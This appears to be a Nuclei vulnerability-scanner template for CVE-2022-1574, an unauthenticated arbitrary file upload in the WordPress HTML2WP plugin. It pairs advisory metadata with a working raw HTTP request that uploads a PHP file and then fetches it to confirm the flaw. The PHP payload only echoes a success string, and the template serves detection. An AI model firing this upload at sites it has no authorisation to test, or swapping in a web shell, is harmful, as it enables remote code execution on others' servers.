WordPress HTML2WP <=1.0.0 - Arbitrary File Upload

id: CVE-2022-1574

info:
  name: WordPress HTML2WP <=1.0.0 - Arbitrary File Upload
  author: theamanrawat
  severity: critical
  description: |
    WordPress HTML2WP plugin through 1.0.0 contains an arbitrary file upload vulnerability. The plugin does not perform authorization and CSRF checks when importing files and does not validate them. As a result, an attacker can upload arbitrary files on the remote server.
  impact: |
    An attacker can upload malicious files to the server, leading to remote code execution or unauthorized access.
  remediation: |
    Update to the latest version of the plugin or remove it if not needed.
  reference:
    - https://wpscan.com/vulnerability/c36d0ea8-bf5c-4af9-bd3d-911eb02adc14
    - https://wordpress.org/plugins/html2wp/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1574
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1574
    cwe-id: CWE-352
    epss-score: 0.12194
    epss-percentile: 0.96199
    cpe: cpe:2.3:a:html2wp_project:html2wp:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: html2wp_project
    product: html2wp
    framework: wordpress
  tags: cve,cve2022,wp-plugin,wp,fileupload,unauth,wpscan,wordpress,intrusive,html2wp,html2wp_project,vuln,vkev

http:
  - raw:
      - |
        POST /wp-admin/admin.php?page=html2wp-settings HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 253
        Content-Type: multipart/form-data; boundary=---------------------------7816508136577551742878603990
        Connection: close

        -----------------------------7816508136577551742878603990
        Content-Disposition: form-data; name="local_importing[]"; filename="{{randstr}}.php"
        Content-Type: text/html

        <?php

        echo "File Upload success";

        -----------------------------7816508136577551742878603990--
      - |
        GET /wp-content/uploads/html2wp/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 302"
          - "status_code_2 == 200"
          - "contains(body_2, 'File Upload success')"
        condition: and